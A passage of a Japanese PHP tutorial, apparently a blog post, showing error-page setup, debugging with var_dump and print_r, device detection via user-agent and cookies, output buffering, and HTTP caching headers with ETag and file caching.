padding: 50px; }\n        .error-container { max-width: 600px; margin: 0 auto; }\n        h1 { color: #e74c3c; }\n    &lt;\/style&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n    &lt;div class=\"error-container\"&gt;\n        &lt;h1&gt;404 - \u30da\u30fc\u30b8\u304c\u898b\u3064\u304b\u308a\u307e\u305b\u3093&lt;\/h1&gt;\n        &lt;p&gt;\u304a\u63a2\u3057\u306e\u30da\u30fc\u30b8\u306f\u5b58\u5728\u3057\u306a\u3044\u304b\u3001\u79fb\u52d5\u3057\u305f\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002&lt;\/p&gt;\n        &lt;p&gt;&lt;a href=\"\/\"&gt;\u30db\u30fc\u30e0\u30da\u30fc\u30b8\u306b\u623b\u308b&lt;\/a&gt;&lt;\/p&gt;\n    &lt;\/div&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;\n<\/pre>\n\n\n\n<p><strong>.htaccess\u3067\u306e\u30a8\u30e9\u30fc\u30da\u30fc\u30b8\u8a2d\u5b9a<\/strong> (Apache):<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># .htaccess\nErrorDocument 404 \/errors\/404.php\nErrorDocument 500 \/errors\/500.php\nErrorDocument 403 \/errors\/403.php\n<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-49\">\u52b9\u7387\u7684\u306a\u30c7\u30d0\u30c3\u30b0\u30c6\u30af\u30cb\u30c3\u30af<\/h3>\n\n\n\n<p>\u52b9\u7387\u7684\u306a\u30c7\u30d0\u30c3\u30b0\u306f\u958b\u767a\u6642\u9593\u3092\u5927\u5e45\u306b\u77ed\u7e2e\u3057\u307e\u3059\u3002\u3053\u3053\u3067\u306f\u3001PHP\u306e\u30c7\u30d0\u30c3\u30b0\u306b\u5f79\u7acb\u3064\u30c6\u30af\u30cb\u30c3\u30af\u3092\u7d39\u4ecb\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-50\">var_dump()\u3068print_r()\u306e\u4f7f\u3044\u5206\u3051<\/h4>\n\n\n\n<p>PHP\u306b\u306f\u3001\u5909\u6570\u306e\u5185\u5bb9\u3092\u78ba\u8a8d\u3059\u308b\u305f\u3081\u306e\u95a2\u6570\u304c\u3044\u304f\u3064\u304b\u7528\u610f\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>var_dump()<\/strong> \u306f\u5909\u6570\u306e\u578b\u3068\u5024\u3092\u8a73\u7d30\u306b\u8868\u793a\u3057\u307e\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n$user = [\n    'id' =&gt; 1,\n    'name' =&gt; '\u7530\u4e2d\u592a\u90ce',\n    'email' =&gt; 'tanaka@example.com',\n    'active' =&gt; true,\n    'last_login' =&gt; null\n];\n\nvar_dump($user);\n\/\/ \u51fa\u529b\u4f8b:\n\/\/ array(5) {\n\/\/   [\"id\"]=&gt; int(1)\n\/\/   [\"name\"]=&gt; string(12) \"\u7530\u4e2d\u592a\u90ce\"\n\/\/   [\"email\"]=&gt; string(17) \"tanaka@example.com\"\n\/\/   [\"active\"]=&gt; bool(true)\n\/\/   [\"last_login\"]=&gt; NULL\n\/\/ }\n?&gt;\n<\/pre>\n\n\n\n<p><strong>print_r()<\/strong> \u306f\u914d\u5217\u3084\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092\u8aad\u307f\u3084\u3059\u304f\u8868\u793a\u3057\u307e\u3059\u304c\u3001\u578b\u60c5\u5831\u306f\u8868\u793a\u3057\u307e\u305b\u3093\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\nprint_r($user);\n\/\/ \u51fa\u529b\u4f8b:\n\/\/ Array\n\/\/ (\n\/\/     [id] =&gt; 1\n\/\/     [name\n<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"i-51\">\u30ec\u30b9\u30dd\u30f3\u30b7\u30d6\u30c7\u30b6\u30a4\u30f3\u3068PHP<\/h2>\n\n\n\n<p>\u73fe\u4ee3\u306e\u30a6\u30a7\u30d6\u30b5\u30a4\u30c8\u958b\u767a\u3067\u306f\u3001\u591a\u7a2e\u591a\u69d8\u306a\u30c7\u30d0\u30a4\u30b9\u3084\u30b9\u30af\u30ea\u30fc\u30f3\u30b5\u30a4\u30ba\u306b\u9069\u5fdc\u3059\u308b\u30ec\u30b9\u30dd\u30f3\u30b7\u30d6\u30c7\u30b6\u30a4\u30f3\u306f\u5fc5\u9808\u3068\u306a\u3063\u3066\u3044\u307e\u3059\u3002\u4e00\u822c\u7684\u306b\u30ec\u30b9\u30dd\u30f3\u30b7\u30d6\u30c7\u30b6\u30a4\u30f3\u306fCSS\u306e\u30e1\u30c7\u30a3\u30a2\u30af\u30a8\u30ea\u306b\u3088\u3063\u3066\u5b9f\u73fe\u3055\u308c\u307e\u3059\u304c\u3001PHP\u3068\u306e\u9023\u643a\u306b\u3088\u3063\u3066\u3055\u3089\u306b\u9ad8\u5ea6\u306a\u5bfe\u5fdc\u304c\u53ef\u80fd\u306b\u306a\u308a\u307e\u3059\u3002\u3053\u306e\u7ae0\u3067\u306f\u3001PHP\u3092\u4f7f\u7528\u3057\u3066\u30ec\u30b9\u30dd\u30f3\u30b7\u30d6\u30c7\u30b6\u30a4\u30f3\u3092\u5f37\u5316\u3059\u308b\u65b9\u6cd5\u3092\u89e3\u8aac\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-52\">\u30e1\u30c7\u30a3\u30a2\u30af\u30a8\u30ea\u3068PHP\u306e\u9023\u643a<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-53\">\u30ec\u30b9\u30dd\u30f3\u30b7\u30d6\u30c7\u30b6\u30a4\u30f3\u306e\u57fa\u672c\u3068PHP\u306e\u5f79\u5272<\/h4>\n\n\n\n<p>\u30ec\u30b9\u30dd\u30f3\u30b7\u30d6\u30a6\u30a7\u30d6\u30c7\u30b6\u30a4\u30f3\u306f\u3001\u4e3b\u306b\u4ee5\u4e0b\u306e\u30c6\u30af\u30cb\u30c3\u30af\u306b\u3088\u3063\u3066\u5b9f\u73fe\u3055\u308c\u307e\u3059\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u6d41\u52d5\u7684\u306a\u30b0\u30ea\u30c3\u30c9\u30ec\u30a4\u30a2\u30a6\u30c8<\/strong>\uff1a\u76f8\u5bfe\u7684\u306a\u5358\u4f4d\uff08%\u306a\u3069\uff09\u3092\u4f7f\u7528<\/li>\n\n\n\n<li><strong>\u30d5\u30ec\u30ad\u30b7\u30d6\u30eb\u306a\u753b\u50cf\u3068\u30e1\u30c7\u30a3\u30a2<\/strong>\uff1a\u6700\u5927\u5e45\u3092\u8a2d\u5b9a\u3057\u3066\u89aa\u8981\u7d20\u306b\u5408\u308f\u305b\u308b<\/li>\n\n\n\n<li><strong>CSS\u30e1\u30c7\u30a3\u30a2\u30af\u30a8\u30ea<\/strong>\uff1a\u30d3\u30e5\u30fc\u30dd\u30fc\u30c8\u30b5\u30a4\u30ba\u306b\u5fdc\u3058\u3066\u30b9\u30bf\u30a4\u30eb\u3092\u5909\u66f4<\/li>\n<\/ol>\n\n\n\n<p>\u3053\u308c\u3089\u306f\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u30b5\u30a4\u30c9\u306e\u6280\u8853\u3067\u3059\u304c\u3001PHP\u306f\u30b5\u30fc\u30d0\u30fc\u30b5\u30a4\u30c9\u3067\u4ee5\u4e0b\u306e\u5f79\u5272\u3092\u62c5\u3046\u3053\u3068\u304c\u3067\u304d\u307e\u3059\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u30c7\u30d0\u30a4\u30b9\u30bf\u30a4\u30d7\u306e\u691c\u51fa<\/li>\n\n\n\n<li>\u6700\u9069\u5316\u3055\u308c\u305f\u30b3\u30f3\u30c6\u30f3\u30c4\u306e\u63d0\u4f9b<\/li>\n\n\n\n<li>\u753b\u50cf\u306e\u52d5\u7684\u30ea\u30b5\u30a4\u30ba<\/li>\n\n\n\n<li>HTML\u306e\u69cb\u9020\u6700\u9069\u5316<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-54\">\u30c7\u30d0\u30a4\u30b9\u691c\u51fa\u306e\u30c6\u30af\u30cb\u30c3\u30af<\/h4>\n\n\n\n<p>PHP\u3067\u30c7\u30d0\u30a4\u30b9\u3092\u691c\u51fa\u3059\u308b\u4e3b\u306a\u65b9\u6cd5\u306f\u4ee5\u4e0b\u306e\u901a\u308a\u3067\u3059\uff1a<\/p>\n\n\n\n<p><strong>1. User-Agent\u6587\u5b57\u5217\u306e\u89e3\u6790<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\nfunction detectDevice() {\n    $userAgent = $_SERVER['HTTP_USER_AGENT'];\n    \n    if (preg_match('\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i', $userAgent) || \n        preg_match('\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i', substr($userAgent, 0, 4))) {\n        return 'mobile';\n    } elseif (preg_match('\/tablet|ipad|playbook|silk|android(?!.*mobile)\/i', $userAgent)) {\n        return 'tablet';\n    } else {\n        return 'desktop';\n    }\n}\n\n$deviceType = detectDevice();\necho \"\u73fe\u5728\u306e\u30c7\u30d0\u30a4\u30b9\u30bf\u30a4\u30d7: {$deviceType}\";\n?&gt;\n<\/pre>\n\n\n\n<p><strong>\u554f\u984c\u70b9<\/strong>: \u3053\u306e\u65b9\u6cd5\u306f\u4fe1\u983c\u6027\u304c\u4f4e\u304f\u3001User-Agent\u6587\u5b57\u5217\u306f\u983b\u7e41\u306b\u5909\u66f4\u3055\u308c\u3001\u30b9\u30d7\u30fc\u30d5\u30a3\u30f3\u30b0\uff08\u507d\u88c5\uff09\u3082\u53ef\u80fd\u3067\u3059\u3002<\/p>\n\n\n\n<p><strong>2. JavaScript\u3068Cookie\u306e\u9023\u643a<\/strong>:<\/p>\n\n\n\n<p>\u3088\u308a\u4fe1\u983c\u6027\u306e\u9ad8\u3044\u65b9\u6cd5\u306f\u3001JavaScript\u3067\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u306e\u60c5\u5831\u3092\u53d6\u5f97\u3057\u3001Cookie\u3092\u4ecb\u3057\u3066PHP\u306b\u6e21\u3059\u65b9\u6cd5\u3067\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;!-- \u30d3\u30e5\u30fc\u30dd\u30fc\u30c8\u30b5\u30a4\u30ba\u3092\u691c\u51fa\u3059\u308bJavaScript --&gt;\n&lt;script&gt;\ndocument.addEventListener('DOMContentLoaded', function() {\n    \/\/ \u30d3\u30e5\u30fc\u30dd\u30fc\u30c8\u5e45\u3092\u53d6\u5f97\n    var viewportWidth = window.innerWidth;\n    \n    \/\/ \u30c7\u30d0\u30a4\u30b9\u30bf\u30a4\u30d7\u3092\u5224\u5b9a\n    var deviceType;\n    if (viewportWidth &lt; 768) {\n        deviceType = 'mobile';\n    } else if (viewportWidth &lt; 1024) {\n        deviceType = 'tablet';\n    } else {\n        deviceType = 'desktop';\n    }\n    \n    \/\/ Cookie\u306b\u4fdd\u5b58\uff0830\u65e5\u9593\u6709\u52b9\uff09\n    document.cookie = \"device_type=\" + deviceType + \"; path=\/; max-age=2592000\";\n    \n    \/\/ \u5fc5\u8981\u306b\u5fdc\u3058\u3066\u30da\u30fc\u30b8\u3092\u30ea\u30ed\u30fc\u30c9\uff08\u521d\u56de\u30a2\u30af\u30bb\u30b9\u6642\u306e\u307f\uff09\n    if (!document.cookie.includes('viewport_detected=1')) {\n        document.cookie = \"viewport_detected=1; path=\/; max-age=2592000\";\n        location.reload();\n    }\n});\n&lt;\/script&gt;\n<\/pre>\n\n\n\n<p>PHP\u3067Cookie\u3092\u8aad\u307f\u53d6\u308b\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\nfunction getDeviceType() {\n    \/\/ Cookie\u304b\u3089\u30c7\u30d0\u30a4\u30b9\u30bf\u30a4\u30d7\u3092\u53d6\u5f97\n    if (isset($_COOKIE['device_type'])) {\n        return $_COOKIE['device_type'];\n    }\n    \n    \/\/ Cookie\u672a\u8a2d\u5b9a\u306e\u5834\u5408\u306fUser-Agent\u304b\u3089\u5224\u5b9a\uff08\u30d5\u30a9\u30fc\u30eb\u30d0\u30c3\u30af\uff09\n    return detectDevice(); \/\/ \u524d\u8ff0\u306e\u95a2\u6570\u3092\u4f7f\u7528\n}\n\n$deviceType = getDeviceType();\n?&gt;\n<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"i-55\">\u30d1\u30d5\u30a9\u30fc\u30de\u30f3\u30b9\u6700\u9069\u5316<\/h2>\n\n\n\n<p>\u30a6\u30a7\u30d6\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30d1\u30d5\u30a9\u30fc\u30de\u30f3\u30b9\u306f\u3001\u30e6\u30fc\u30b6\u30fc\u4f53\u9a13\u3068\u691c\u7d22\u30a8\u30f3\u30b8\u30f3\u8a55\u4fa1\u306e\u4e21\u65b9\u306b\u5927\u304d\u306a\u5f71\u97ff\u3092\u4e0e\u3048\u307e\u3059\u3002PHP\u3068HTML\u3092\u9023\u643a\u3055\u305b\u308b\u969b\u3082\u3001\u30d1\u30d5\u30a9\u30fc\u30de\u30f3\u30b9\u3092\u610f\u8b58\u3057\u305f\u5b9f\u88c5\u304c\u91cd\u8981\u3067\u3059\u3002\u3053\u306e\u30bb\u30af\u30b7\u30e7\u30f3\u3067\u306f\u3001PHP\u3068HTML\u3092\u52b9\u7387\u7684\u306b\u9023\u643a\u3055\u305b\u308b\u305f\u3081\u306e\u30ad\u30e3\u30c3\u30b7\u30e5\u6226\u7565\u3084\u30b3\u30fc\u30c9\u6700\u9069\u5316\u30c6\u30af\u30cb\u30c3\u30af\u3092\u7d39\u4ecb\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-56\">PHP\u3068HTML\u306e\u30ad\u30e3\u30c3\u30b7\u30e5\u6226\u7565<\/h3>\n\n\n\n<p>PHP\u306f\u30ea\u30af\u30a8\u30b9\u30c8\u3054\u3068\u306b\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u89e3\u6790\u30fb\u5b9f\u884c\u3059\u308b\u305f\u3081\u3001\u9069\u5207\u306a\u30ad\u30e3\u30c3\u30b7\u30e5\u6226\u7565\u3092\u5c0e\u5165\u3059\u308b\u3053\u3068\u3067\u30d1\u30d5\u30a9\u30fc\u30de\u30f3\u30b9\u3092\u5927\u5e45\u306b\u5411\u4e0a\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-57\">\u51fa\u529b\u30d0\u30c3\u30d5\u30a1\u30ea\u30f3\u30b0\u306e\u6d3b\u7528\u65b9\u6cd5<\/h4>\n\n\n\n<p>\u51fa\u529b\u30d0\u30c3\u30d5\u30a1\u30ea\u30f3\u30b0\uff08Output Buffering\uff09\u306f\u3001PHP\u304cHTML\u51fa\u529b\u3092\u30d6\u30e9\u30a6\u30b6\u306b\u76f4\u63a5\u9001\u4fe1\u3059\u308b\u306e\u3067\u306f\u306a\u304f\u3001\u4e00\u6642\u7684\u306b\u30e1\u30e2\u30ea\u5185\u306b\u84c4\u7a4d\u3057\u3001\u51e6\u7406\u5b8c\u4e86\u5f8c\u306b\u307e\u3068\u3081\u3066\u9001\u4fe1\u3059\u308b\u4ed5\u7d44\u307f\u3067\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u3001\u30d8\u30c3\u30c0\u30fc\u8a2d\u5b9a\u306e\u67d4\u8edf\u6027\u304c\u9ad8\u307e\u308a\u3001\u30b3\u30f3\u30c6\u30f3\u30c4\u306e\u5727\u7e2e\u3084\u4fee\u6b63\u304c\u5bb9\u6613\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n\/\/ \u51fa\u529b\u30d0\u30c3\u30d5\u30a1\u30ea\u30f3\u30b0\u3092\u958b\u59cb\nob_start();\n\n\/\/ HTML\u30b3\u30f3\u30c6\u30f3\u30c4\u306e\u751f\u6210\necho \"&lt;h1&gt;\u3088\u3046\u3053\u305d&lt;\/h1&gt;\";\necho \"&lt;p&gt;\u73fe\u5728\u306e\u6642\u523b: \" . date('H:i:s') . \"&lt;\/p&gt;\";\n\n\/\/ \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u51e6\u7406\u306a\u3069\u306e\u91cd\u3044\u51e6\u7406\nsleep(1); \/\/ \u4f8b\u3068\u3057\u30661\u79d2\u306e\u30b9\u30ea\u30fc\u30d7\n\n\/\/ \u3055\u3089\u306bHTML\u3092\u8ffd\u52a0\necho \"&lt;p&gt;\u51e6\u7406\u304c\u5b8c\u4e86\u3057\u307e\u3057\u305f&lt;\/p&gt;\";\n\n\/\/ \u30d0\u30c3\u30d5\u30a1\u306e\u5185\u5bb9\u3092\u53d6\u5f97\u3057\u3001\u4e0d\u8981\u306a\u7a7a\u767d\u3092\u524a\u9664\n$content = ob_get_clean();\n$content = preg_replace('\/\\s+\/', ' ', $content);\n\n\/\/ \u5727\u7e2e\u3057\u3066\u51fa\u529b\nob_start(\"ob_gzhandler\"); \/\/ GZIP\u3067\u5727\u7e2e\necho $content;\nob_end_flush();\n?&gt;\n<\/pre>\n\n\n\n<p>\u51fa\u529b\u30d0\u30c3\u30d5\u30a1\u30ea\u30f3\u30b0\u306f\u3001\u4ee5\u4e0b\u306e\u3088\u3046\u306a\u76ee\u7684\u3067\u6d3b\u7528\u3067\u304d\u307e\u3059\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u30b3\u30f3\u30c6\u30f3\u30c4\u306e\u5727\u7e2e<\/strong>: <code>ob_start(\"ob_gzhandler\")<\/code> \u3067GZIP\u5727\u7e2e\u3092\u9069\u7528<\/li>\n\n\n\n<li><strong>\u51fa\u529b\u306e\u4fee\u6b63<\/strong>: \u30d0\u30c3\u30d5\u30a1\u5185\u5bb9\u306b\u6b63\u898f\u8868\u73fe\u306a\u3069\u3092\u9069\u7528\u3057\u3066\u6700\u9069\u5316<\/li>\n\n\n\n<li><strong>HTTP\u30d8\u30c3\u30c0\u30fc\u306e\u67d4\u8edf\u306a\u8a2d\u5b9a<\/strong>: \u51fa\u529b\u958b\u59cb\u5f8c\u3067\u3082\u30d8\u30c3\u30c0\u30fc\u8a2d\u5b9a\u304c\u53ef\u80fd<\/li>\n\n\n\n<li><strong>\u30ad\u30e3\u30c3\u30b7\u30e5\u5236\u5fa1<\/strong>: \u751f\u6210\u3055\u308c\u305f\u30b3\u30f3\u30c6\u30f3\u30c4\u3092\u30ad\u30e3\u30c3\u30b7\u30e5\u306b\u4fdd\u5b58<\/li>\n<\/ol>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-58\">\u30d6\u30e9\u30a6\u30b6\u30ad\u30e3\u30c3\u30b7\u30e5\u3068\u306e\u9023\u643a<\/h4>\n\n\n\n<p>\u30d6\u30e9\u30a6\u30b6\u30ad\u30e3\u30c3\u30b7\u30e5\u3092\u9069\u5207\u306b\u5236\u5fa1\u3059\u308b\u3053\u3068\u3067\u3001\u9759\u7684\u30b3\u30f3\u30c6\u30f3\u30c4\u306e\u518d\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3092\u9632\u304e\u3001\u30b5\u30fc\u30d0\u30fc\u8ca0\u8377\u3068\u30ed\u30fc\u30c9\u6642\u9593\u3092\u524a\u6e1b\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n\/\/ \u9759\u7684\u30b3\u30f3\u30c6\u30f3\u30c4\u306e\u30ad\u30e3\u30c3\u30b7\u30e5\u30d8\u30c3\u30c0\u30fc\u8a2d\u5b9a\nfunction setStaticCacheHeaders($maxAge = 86400) { \/\/ \u30c7\u30d5\u30a9\u30eb\u30c81\u65e5\n    $timestamp = time();\n    header(\"Cache-Control: public, max-age={$maxAge}\");\n    header(\"Expires: \" . gmdate(\"D, d M Y H:i:s\", $timestamp + $maxAge) . \" GMT\");\n    header(\"Last-Modified: \" . gmdate(\"D, d M Y H:i:s\", $timestamp) . \" GMT\");\n}\n\n\/\/ \u52d5\u7684\u30b3\u30f3\u30c6\u30f3\u30c4\u306e\u5834\u5408\u306f\u30ad\u30e3\u30c3\u30b7\u30e5\u3092\u9632\u6b62\nfunction setNoCacheHeaders() {\n    header(\"Cache-Control: no-store, no-cache, must-revalidate, max-age=0\");\n    header(\"Cache-Control: post-check=0, pre-check=0\", false);\n    header(\"Pragma: no-cache\");\n    header(\"Expires: \" . gmdate(\"D, d M Y H:i:s\", time() - 3600) . \" GMT\");\n}\n\n\/\/ \u30b3\u30f3\u30c6\u30f3\u30c4\u30bf\u30a4\u30d7\u306b\u5fdc\u3058\u3066\u9069\u5207\u306a\u30d8\u30c3\u30c0\u30fc\u3092\u8a2d\u5b9a\n$contentType = $_GET['type'] ?? '';\n\nif ($contentType === 'css' || $contentType === 'js' || $contentType === 'image') {\n    setStaticCacheHeaders(60 * 60 * 24 * 7); \/\/ 1\u9031\u9593\u30ad\u30e3\u30c3\u30b7\u30e5\n} else {\n    setNoCacheHeaders(); \/\/ \u52d5\u7684\u30b3\u30f3\u30c6\u30f3\u30c4\u306f\u30ad\u30e3\u30c3\u30b7\u30e5\u3057\u306a\u3044\n}\n\n\/\/ \u30b3\u30f3\u30c6\u30f3\u30c4\u306e\u51fa\u529b...\n?&gt;\n<\/pre>\n\n\n\n<p>E\u30bf\u30b0\uff08ETag\uff09\u3092\u4f7f\u7528\u3057\u305f\u30ad\u30e3\u30c3\u30b7\u30e5\u5236\u5fa1\u3082\u52b9\u679c\u7684\u3067\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\n\/\/ \u30b3\u30f3\u30c6\u30f3\u30c4\u306e\u30cf\u30c3\u30b7\u30e5\u5024\u3092\u8a08\u7b97\uff08\u4f8b\u3048\u3070\u6700\u7d42\u66f4\u65b0\u65e5\u6642\u306b\u57fa\u3065\u304f\uff09\n$lastModified = filemtime('data.json');\n$etagContent = $lastModified . '-' . md5_file('data.json');\n$etag = '\"' . md5($etagContent) . '\"';\n\n\/\/ \u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u304b\u3089\u9001\u4fe1\u3055\u308c\u305fETag\u3068\u6bd4\u8f03\nif (isset($_SERVER['HTTP_IF_NONE_MATCH']) &amp;&amp; $_SERVER['HTTP_IF_NONE_MATCH'] === $etag) {\n    \/\/ \u30b3\u30f3\u30c6\u30f3\u30c4\u306f\u5909\u66f4\u3055\u308c\u3066\u3044\u306a\u3044\n    header('HTTP\/1.1 304 Not Modified');\n    exit;\n}\n\n\/\/ \u65b0\u3057\u3044ETag\u3092\u8a2d\u5b9a\nheader(\"ETag: {$etag}\");\n\n\/\/ \u30b3\u30f3\u30c6\u30f3\u30c4\u306e\u51fa\u529b...\n?&gt;\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-59\">\u30ad\u30e3\u30c3\u30b7\u30e5\u5236\u5fa1\u306e\u30c6\u30af\u30cb\u30c3\u30af<\/h4>\n\n\n\n<p><strong>\u30d5\u30a1\u30a4\u30eb\u30d9\u30fc\u30b9\u306e\u30ad\u30e3\u30c3\u30b7\u30e5<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;?php\nfunction getOrSetFileCache($key, $ttl, $regenerateCallback) {\n    $cacheDir = 'cache\/';\n    $cacheFile = $cacheDir . md5($key) . '.cache';\n    \n    \/\/ \u30ad\u30e3\u30c3\u30b7\u30e5\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u306e\u78ba\u8a8d\n    if (!is_dir($cacheDir)) {\n        mkdir($cacheDir, 0755, true);\n    }\n    \n    \/\/ \u30ad\u30e3\u30c3\u30b7\u30e5\u306e\u6709\u52b9\u671f\u9650\u3092\u30c1\u30a7\u30c3\u30af\n    if (file_exists($cacheFile) &amp;&amp; (time() - filemtime($cacheFile) &lt; $ttl)) {\n        \/\/ 